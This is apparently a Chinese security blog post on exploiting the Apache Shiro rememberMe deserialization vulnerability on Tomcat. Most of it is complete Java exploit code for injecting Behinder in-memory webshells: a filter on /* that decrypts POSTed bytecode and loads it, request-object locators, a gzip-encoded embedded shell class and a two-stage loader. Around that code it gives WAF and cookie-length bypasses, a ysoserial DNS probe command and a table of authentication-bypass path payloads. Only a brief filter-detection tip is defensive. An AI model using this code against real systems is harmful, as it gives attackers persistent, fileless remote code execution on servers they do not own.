• Javaweb安全——Shiro漏洞利用


    炒个冷饭,主要还是对反序列化漏洞利用方式的学习,目前只测试了tomcat环境,后面再将weblogic的部分补一补。

    Shiro反序列化

    测试环境:

    • https://github.com/phith0n/JavaThings/blob/master/shirodemo

    • Tomcat 9.0.59

    • 前期测试适配内存马时可以修改Tomcat的/conf/server.xml配置文件方便测试,添加一个

      //默认值为4096
      maxHttpHeaderSize="40960000"
      

    漏洞原理

    从key所在的位置org.apache.shiro.mgt.AbstractRememberMeManager开始跟,先看到getRememberedPrincipals方法,该方法把SubjectContext 转化成 PrincipalCollection,中间还将cookie数据解码。

    image-20220914004852596

    base64解码的逻辑在CookieRememberMeManager#getRememberedSerializedIdentity

    image-20220914003902966

    将解码后的 byte 数组传入 convertBytesToPrincipals 中进行decrypt ,使用 AesCipherService 进行解密。

    image-20220914010126750

    image-20220914004040826

    然后看deserialize的处理过程,到DefaultSerializer#deserialize进行反序列化。

    image-20220914010206852

    image-20220914010307523

    测试的话把payload写在remeberMe那

    image-20220914010520550

    漏洞探测

    • 判断是否是shiro

      • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

        登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

        不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

        勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

    • 判断Shiro正确的key

      • 使用URLDNS链进行出网探测

        java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn
        
      • 命令执行的利用链执行延迟命令

      • 一种另类的 shiro 检测方式

        1.构造一个继承 PrincipalCollection 的序列化对象,即SimplePrincipalCollection类。

        2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();
        

    利用链

    CC链,CB链(原理之前写过在 反序列化漏洞-Shiro(CommonsBeanutils利用链)这篇文章里),利用链还得看具体环境。

    内存马写入

    获取到request,response和session,把字节码传入然后调用defineClass动态加载此类。

    适配冰蝎内存马

    request和session对象

    request对象可以通过其doFilter方法参数中传递的ServletRequest获得,而session可以通过request.getSession()获得

    // 获取request和response对象
    HttpServletRequest request = (HttpServletRequest) servletRequest;
    HttpServletResponse response = (HttpServletResponse)servletResponse;
    HttpSession session = request.getSession();
    
    pageContext对象

    pageContext对象为jsp九大内置对象,在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道,在冰蝎的代码中,服务端需要从pageContext对象中获取出request/response/session。

    img

    PageContext是一个抽象类,在早期版本中需要自己去实现一个类如:EvilPageContext

    image-20220922003424747

    而在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以把pageContext对象换成一个Map,手动添加这三个对象即可

    HashMap pageContext = new HashMap();
    pageContext.put("request",request);
    pageContext.put("response",response);
    pageContext.put("session",session);
    
    类加载器

    冰蝎生成的shell通常都是自定义一个classloader类U,但在打内存马的时候是无法成功的,需要用反射去进行defineClass,就像上面注入的类加载器一样。

    最终实现代码:

    import org.apache.catalina.Context;
    import org.apache.catalina.core.ApplicationFilterConfig;
    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.loader.WebappClassLoaderBase;
    import org.apache.tomcat.util.descriptor.web.FilterDef;
    import org.apache.tomcat.util.descriptor.web.FilterMap;
    
    import javax.crypto.Cipher;
    import javax.crypto.spec.SecretKeySpec;
    import javax.servlet.*;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.HttpSession;
    import java.io.IOException;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Behinder3Filter implements Filter {
    
        static {
            try {
                final String name = "evil";
                final String URLPattern = "/*";
    
                WebappClassLoaderBase webappClassLoaderBase =
                        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    
                Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);
    
                Behinder3Filter behinderFilter = new Behinder3Filter();
    
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(behinderFilter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(behinderFilter.getClass().getName());
                /**
                 * 将filterDef添加到filterDefs中
                 */
                standardContext.addFilterDef(filterDef);
    
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern(URLPattern);
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
                standardContext.addFilterMapBefore(filterMap);
    
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    
                filterConfigs.put(name, filterConfig);
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            try {
                System.out.println("Do Filter ......");
                // 获取request和response对象
                HttpServletRequest request = (HttpServletRequest) servletRequest;
                HttpServletResponse response = (HttpServletResponse)servletResponse;
                HttpSession session = request.getSession();
    
                //create pageContext
                HashMap pageContext = new HashMap();
                pageContext.put("request",request);
                pageContext.put("response",response);
                pageContext.put("session",session);
    
                if (request.getMethod().equals("POST")) {
                    String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                    session.putValue("u", k);
                    Cipher c = Cipher.getInstance("AES");
                    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
    
                    //revision BehinderFilter
                    Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    method.setAccessible(true);
                    byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                    Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                    evilclass.newInstance().equals(pageContext);
                }
            }catch (Exception e){
                e.printStackTrace();
            }
    
            filterChain.doFilter(servletRequest, servletResponse);
            System.out.println("doFilter");
        }
    
        @Override
        public void destroy() {
    
        }
    }
    

    image-20220922000048690

    冰蝎4.0后对于webshell的逻辑来说主要是增加了自定义解码器,类加载的逻辑和3.0的版本并无不同,以default_xor_base64编码器为例,修改解码逻辑即可连接

        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("Do Filter ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();
            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);
    
            if (request.getMethod().equals("POST")){
                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                byte[] buf = new byte[512];
                int length=request.getInputStream().read(buf);
                while (length>0)
                {
                    byte[] data= Arrays.copyOfRange(buf,0,length);
                    bos.write(data);
                    length=request.getInputStream().read(buf);
                }
                //解码器
                byte[] decodebs;
                Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()});
                }
                catch (Throwable e) {
                    try {
                        baseCls = Class.forName("sun.misc.BASE64Decoder");
                        Object Decoder= null;
                        Decoder = baseCls.newInstance();
                        decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())});
                    } catch (Exception ex) {
                        throw new RuntimeException(ex);
                    }
                }
    
                String key="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                for (int i = 0; i < decodebs.length; i++) {
                    decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
                }
    
                try {
                    //revision BehinderFilter
                    Method defineClassMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs, 0, decodebs.length);
                    cc.newInstance().equals(pageContext);
                } catch (Exception e) {
                    throw new RuntimeException(e);
                }
            }
    
            filterChain.doFilter(servletRequest, servletResponse);
            System.out.println("doFilter");
        }
    

    Cookie长度限制绕过

    waf直接拦截过长的rememberMe Cookie

    • 未知HTTP请求方法 如GET换成XXX 或者删除
    • https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/

    写入内存马时payload过长

    • 修改maxHTTPHeaderSize
    • 反序列化一个加载器,从POST请求体中发送恶意字节码(推荐)
    • 分离加载 先写入gzip压缩后的class bytes 再通过class.forName加载
    动态类加载+POST传参字节码

    通过反序列化获取一个类加载器,并获取到request对象以获得当前请求传参的数据。

    获取Request对象(Tomcat)

    通常为遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象,这里介绍两种方法

    1. Thread.currentThread().getContextClassLoader().getResource().getContext()(Tomcat7不可用,且由于exp代码中需要多个循环去获取属性,使得生成的payload还是过大,需要精简一下exp中的变量以及变量名,同时把其他不必要的请求去掉)
    • image-20220920153526515
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    
    public class TomcatClazzLoader extends AbstractTranslet {
    
        static {
            try {
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    
                org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();
                java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
                contextField.setAccessible(true);
                org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);
    
                java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
                serviceField.setAccessible(true);
                org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
    
                org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
                for (int i = 0; i < connectors.length; i++) {
                    if (connectors[i].getScheme().contains("http")) {
                        org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                        java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
                        getHandlerMethod.setAccessible(true);
                        org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);
    
                        java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                        globalField.setAccessible(true);
                        org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);
    
                        java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                        processorsField.setAccessible(true);
                        java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                        //通过QueryString筛选
                        for (int k = 0; k < list.size(); k++) {
                            org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);
                            if (requestInfo.getCurrentUri().contains("aaa")){  //传参请求的页面,不需要服务端真的有这个页面,可以设置一个奇怪一点的,以免获取出错
                                System.out.println("success");
                                java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
                                requestField.setAccessible(true);
                                org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
    
                                org.apache.catalina.connector.Response response = request.getResponse();
                                javax.servlet.http.HttpSession session = request.getSession();
                                String classData = request.getParameter("classData");
                                System.out.println(classData);
                                byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
                                java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                                defineClassMethod.setAccessible(true);
                                Class cc = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length);
                                Class.forName(cc.getName());
                                break;
                            }
    
                        }
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
                throws TransletException {
    
        }
    }
    
    1. 使用 java-object-searcher 内存对象搜索工具,查找另一个存储了 AbstractProtocol$ConnectoinHandler的对象。基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (更通用的Request获取方法,且payload大小显著减少)
    • image-20220920153021031

    • image-20220921013243518

    • image-20220921013219203

      import com.sun.org.apache.xalan.internal.xsltc.DOM;
      import com.sun.org.apache.xalan.internal.xsltc.TransletException;
      import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
      import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
      import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
      import org.apache.coyote.Request;
      import org.apache.coyote.RequestInfo;
      
      import java.lang.reflect.Field;
      import java.util.List;
      
      public class TomcatClazzLoader2 extends AbstractTranslet {
          static {
              try {
                  boolean flag = false;
                  Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
                  for (int i=0;i<threads.length;i++){
                      Thread thread = threads[i];
                      if (thread != null){
                          String threadName = thread.getName();
                          if (threadName.contains("Poller") && threadName.contains("http")){
                              Object target = getField(thread,"target");
                              Object global = null;
                              if (target instanceof Runnable){
                                  // 需要遍历其中的 this$0/handler/global
                                  // 需要进行异常捕获,因为存在找不到的情况
                                  try {
                                      global = getField(getField(getField(target,"this$0"),"handler"),"global");
                                  } catch (NoSuchFieldException fieldException){
                                      fieldException.printStackTrace();
                                  }
                              }
                              // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                              if (global != null){
                                  List processors = (List) getField(global,"processors");
                                  for (i=0;i<processors.size();i++){
                                      RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                      if (requestInfo != null){
                                          Request tempRequest = (Request) getField(requestInfo,"req");
                                          org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
      
                                          String classData = request.getParameter("classData");
                                          if (classData != null){
                                              System.out.println(classData);
                                              byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
                                              java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                                              defineClassMethod.setAccessible(true);
                                              Class cc = (Class) defineClassMethod.invoke(TomcatClazzLoader2.class.getClassLoader(), classBytes, 0, classBytes.length);
                                              Class.forName(cc.getName());
                                              flag = true;
                                              break;
                                          }
                                      }
                                  }
                              }
                          }
                      }
                      if (flag){
                          break;
                      }
                  }
              } catch (Exception e){
                  e.printStackTrace();
              }
      
          }
      
          public static Object getField(Object obj,String fieldName) throws Exception{
              Field f0 = null;
              Class clas = obj.getClass();
      
              while (clas != Object.class){
                  try {
                      f0 = clas.getDeclaredField(fieldName);
                      break;
                  } catch (NoSuchFieldException e){
                      clas = clas.getSuperclass();
                  }
              }
      
              if (f0 != null){
                  f0.setAccessible(true);
                  return f0.get(obj);
              }else {
                  throw new NoSuchFieldException(fieldName);
              }
          }
          @Override
          public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
      
          }
      
          @Override
          public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
      
          }
      }
      
    写入内存马

    现在有了类加载器,那就可以写入内存马了。将上面的类加载器的payload加在Cookie: rememberMe字段,与要加载的内存马字节码的base64编码post传过去。

    image-20220922002259730

    tips
    • 这里不能使用之前学习内存马当中用的 Tomcat中一种半通用回显方法方法获取Request对象了,因为shiro是在filter chain处理逻辑的地方出现的漏洞(rememberMe功能就是ShiroFilter的一个模块),还没进入到cache request的操作中,自然就无法获取到了。

    • TemplatesImpl类当中,每次defineClass都会new一个自己的ClassLoader(如下图,在TemplatesImpl中),所以前后两个类没法互相访问,所以也不能使用分次加载调用。

      • image-20220920142607277

      • image-20220920142833144

    • 在注入的类加载器中想要重复加载同名类就使用TomcatClazzLoader.class.getClassLoader(),因为上一条tip的缘故每次都是新的类加载器;若是需要访问上一次加载的类则使用Thread.currentThread().getContextClassLoader()

    class.forName分离加载class bytes(gzip压缩)

    tomcat结合shiro无文件webshell的技术研究以及检测方法

    查看Class.forName的实现过程可发现其会查找classloader的classes字段。

    那么事先将defineClass的结果,即要注入的内存马类,添加到classloader的classes字段。再第二次请求时Class.forName直接获取这个内存马类从而减少单次payload的长度。

    再配合gzip压缩内存马类的字节码,使得前面定义类到JVM的payload再次减少。

    image-20220923213453252

    image-20220923000215772

    压缩编码工具类

    import javassist.CannotCompileException;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.NotFoundException;
    
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.lang.reflect.InvocationTargetException;
    import java.util.Base64;
    import java.util.zip.GZIPOutputStream;
    
    public class ClassBytesCompress {
        public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, NoSuchMethodException, IOException, NoSuchFieldException, CannotCompileException, NotFoundException {
            ClassPool pool = ClassPool.getDefault();
            CtClass clazzz = pool.get(ShellFilterNoLoader.class.getName());
            byte[] evilclass_byte = clazzz.toBytecode();
            System.out.println(Base64.getEncoder().encodeToString(compress(evilclass_byte)));
        }
        public static byte[] compress(byte[] encodeBuffer){
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            try{
                GZIPOutputStream gzip = new GZIPOutputStream(out);
                gzip.write(encodeBuffer);
                gzip.close();
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return out.toByteArray();
        }
    }
    

    不过这里编码用的内存马只能用最简单的内存马,用上面适配冰蝎的就超出长度了。

    image-20220923215125245

    定义类

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import sun.misc.BASE64Decoder;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.util.Vector;
    import java.util.zip.GZIPInputStream;
    
    public class DefineFilterClass extends AbstractTranslet {
        static {
            BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
            String codeClass = "H4sIAAAAAAAAAI1VXXsTRRR+J1+TpEuRQimxBSxKm1AkqFAlQUQqSDBtY4PFil+bZNJuSXbDZoPl13jptTcF9Hl8uPLCX8Jf4EZ8dxLTpAkpFzszez7mvOecd2b++fePvwBcwoM4DuO6xOcSN6K4OIYAluL4Ajf94VYcX+K2RC6OGO74w1djCCIfxzJWJFYlChJfC0SuWrblXRMIJlPrAqElp6IEDuctW6206iXl3jVLNUom8k7ZrK2bruX/d4Qhb8tqCszml1XdcR8Xt1StltbjLavmKXfFyTtmRblZmvphBE4n89vmI3Mn3VTuo5ry0m3DJceuWptZH4FR7ZEIzIyyF4jf3Cmrhmc5dlNiTSBacdoWAvf3hyq25zX1sKWaXvZ12maDm6n96k7cLdOyNcwxy260vKLnKrMuMKmt05aTzu2JCe9oqVWtKldVcr3WJ7vWNwbV9ArWlC0gcgLjzT7MAqdG58TONfvzYMkPSJS5VPeSE5gekTmxueqhwPw+my3Pa6RvcxjAE3IZR2B/LwYdumiC5XrF55uuUc20N9MsjGX73T5U9Mzyg2WzofmnWVyUuCvxTfsUSKxL3CPpJb4VkBVCcJ3HZEnRabllxUxYjxNDCHrBD2bgCCYEzr5RagJzb5aRgQ18J3HfwPf4wcCP+EniZwMmSiz1CB74aMoGKuAOVWxKbBmwsM1+HnDYBN7aK91qaVuVCfbYsJ6STkOp0T1TPH6j6EYmj6SWQOK1VOpD2W4wj8uQU9QrXe1BZmwqr2C6Zl3pTOaSg4RJDePQkT3ZWsv2rDphxrlX92cy2evXEftMVjuqTOofEKjgOmXVbPZH6gh5oBmpL7mp/6MN3B0nkkMV+pbmqqKvbN4RMW55z7V0FXp3KxBaR5HtKWKPWCD8i7/ghslcah2zGOeLws7weQlx5nHgeJR/ac6Cc/jcE4jfuQjgGMeIFsYxydFoG+A4pjgTPhK08p0va3sMOo5rx+NtZcfRX72NaY4zHRQn+Z3C6fZmYpaPWJyawsJzBDKh888RzIQToYnQM4QDyEQSkb+x+BScdyF3Ec3IPxHbSMgniGeiieguxjYWY4FfMZEIP4PBbsd2cei3Vy98bEGNbY5vJZh5hPEMSqaIcoboUlxdYlLXiW+VqHzsVWJJ0eMd1k5SO40zeBdRXKXvezirdyp0MyvQcl5nXkCSfgG9OocFRo7gDs7jfWZs8PW+wIqH6XUFF/EBdR/Sch6BVwwRk/iIoSQuSyxKfCzxicQViYxEFnhJcDO6wAGC8Ev3abeJC7q4Q/pwpqeBotvAa9rqs/8A0GWnXW8IAAA=";
            ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
            try {
                //解压缩解码
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                ByteArrayInputStream in = new ByteArrayInputStream(b64Decoder.decodeBuffer(codeClass));
                GZIPInputStream ungzip = new GZIPInputStream(in);
                byte[] buffer = new byte[256];
                int n;
                while ((n = ungzip.read(buffer)) >= 0) {
                    out.write(buffer, 0, n);
                }
                byte[] evilclass = out.toByteArray();
                //在jvm中定义类
                java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                defineClassMethod.setAccessible(true);
                Class evilClass = (Class) defineClassMethod.invoke(currentClassloader, evilclass, 0, evilclass.length);
                //将内存马类存入classes字段
                java.lang.reflect.Field currentCladdloaderClasses = Class.forName("java.lang.ClassLoader").getDeclaredField("classes");
                currentCladdloaderClasses.setAccessible(true);
                Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
                classes.add(0, evilClass);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
    
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    

    加载类

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.Context;
    import org.apache.catalina.core.ApplicationFilterConfig;
    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.loader.WebappClassLoaderBase;
    import org.apache.tomcat.util.descriptor.web.FilterDef;
    import org.apache.tomcat.util.descriptor.web.FilterMap;
    
    import javax.servlet.DispatcherType;
    import javax.servlet.Filter;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.Map;
    
    public class LoaderShell extends AbstractTranslet {
        static {
            try {
                final String name = "evil";
                final String URLPattern = "/*";
    
                WebappClassLoaderBase webappClassLoaderBase =
                        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    
                Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);
    
                Class filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Object filterDef = filterDefClass.newInstance();
                // 设置过滤器名称
                Method filterDefsetFilterName = filterDefClass.getMethod("setFilterName", String.class);
                filterDefsetFilterName.invoke(filterDef, name);
    
                // 实例化Filter,也就是第一阶段我们加载的那个filter,通过Class.forname查找
                Method filterDefsetFilter = filterDefClass.getMethod("setFilter", Filter.class);
                
                //通过class.forname查找我们待加载的Filter,后面调用newInstance实例化
                Class evilFilterClass = Class.forName("ShellFilterNoLoader");
                filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());
                /**
                 * 将filterDef添加到filterDefs中
                 */
                standardContext.addFilterDef((FilterDef) filterDef);
    
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern(URLPattern);
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
                standardContext.addFilterMapBefore(filterMap);
    
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    
                filterConfigs.put(name, filterConfig);
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    

    发两个payload,第一个将内存马类定义,第二个去实例化内存马类然后注册到filter里。

    image-20220923215018264

    Filter类型的内存马查杀

    • jvisualvm安装MBean插件,查看Catalina/Filter节点中的数据,检查是否存在未知已经怪异名称的节点,或者没有在web.xml中配置的filter,或者filterClass为空的Filter。

    权限绕过

    这篇文章总结的很详细,这里转载一下文章中的总结表格。

    Shiro 历史漏洞分析

    漏洞编号Shiro版本配置漏洞形式
    CVE-2010-3863shiro < 1.1.0JSecurity 0.9.x/** = anon/./remoting.jsp
    CVE-2014-0074/SHIRO-460shiro 1.x < 1.2.3-ldap、空密码、空用户名、匿名
    CVE-2016-6802shiro < 1.3.2Context Path绕过/x/../context/xxx.jsp
    CVE-2020-1957/SHIRO-682shiro < 1.5.2/** = anon/toJsonPOJO/,Spring Boot < 2.3.0.RELEASE -> /xx/..;/toJsonPOJO
    CVE-2020-11989/ SHIRO-782shiro < 1.5.3(等于1.5.2)/toJsonList/* = authc;(小于1.5.3)/alter/* = authc && /** = anon(等于1.5.2)/的两次编码 -> %25%32%66 /toJsonList/a%25%32%66a ->/toJsonList/a%2fa;(小于1.5.3)/;/shirodemo/alter/test -> /shirodemo/alter/test (Shiro < 1.5.2版本的话,根路径是什么没有关系)
    CVE-2020-13933shiro < 1.6.0/hello/* = authc/hello/%3ba -> /hello/;a
    CVE-2020-17510shiro < 1.7.0/hello/* = authc/hello/%2e -> /hello/. (/%2e/%2e//%2e%2e/%2e%2e/都可以)
    CVE-2020-17523shiro < 1.7.1/hello/* = authc/hello/%20 -> /hello/%20
    CVE-2021-41303shiro < 1.8.0/admin/* = authc && /admin/page = anon/admin/page/ -> /admin/page
    CVE-2022-32532shiro < 1.9.1RegExPatternMatcher && /alter/.*/alter/a%0aaa -> /alter/a%0aaa;/alter/a%0daa -> /alter/a%0daa

    参考

    Shiro反序列化与Tomcat内存马注入学习

    利用shiro反序列化注入冰蝎内存马

    Shiro 550 漏洞学习 (二):内存马注入及回显

    Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案

    Shiro 历史漏洞分析

    基于全局储存的新思路 | Tomcat的一种通用回显方法研究

  • 相关阅读:
    谷歌成功利用一台 54 量子比特的量子计算机
    Git引起的 gitlab-runner 报错
    期中考核复现(web)
    PHP使用imap_open读取QQ邮箱
    实验四 图像增强—灰度变换之直方图变换
    Java集合(一):泛型与Collection集合
    配置yum源仓库文件通过多种方式实现
    【Linux】进程概念
    交换机和路由器基础
    React组件设计之性能优化篇
  • 原文地址:https://blog.csdn.net/weixin_43610673/article/details/127042320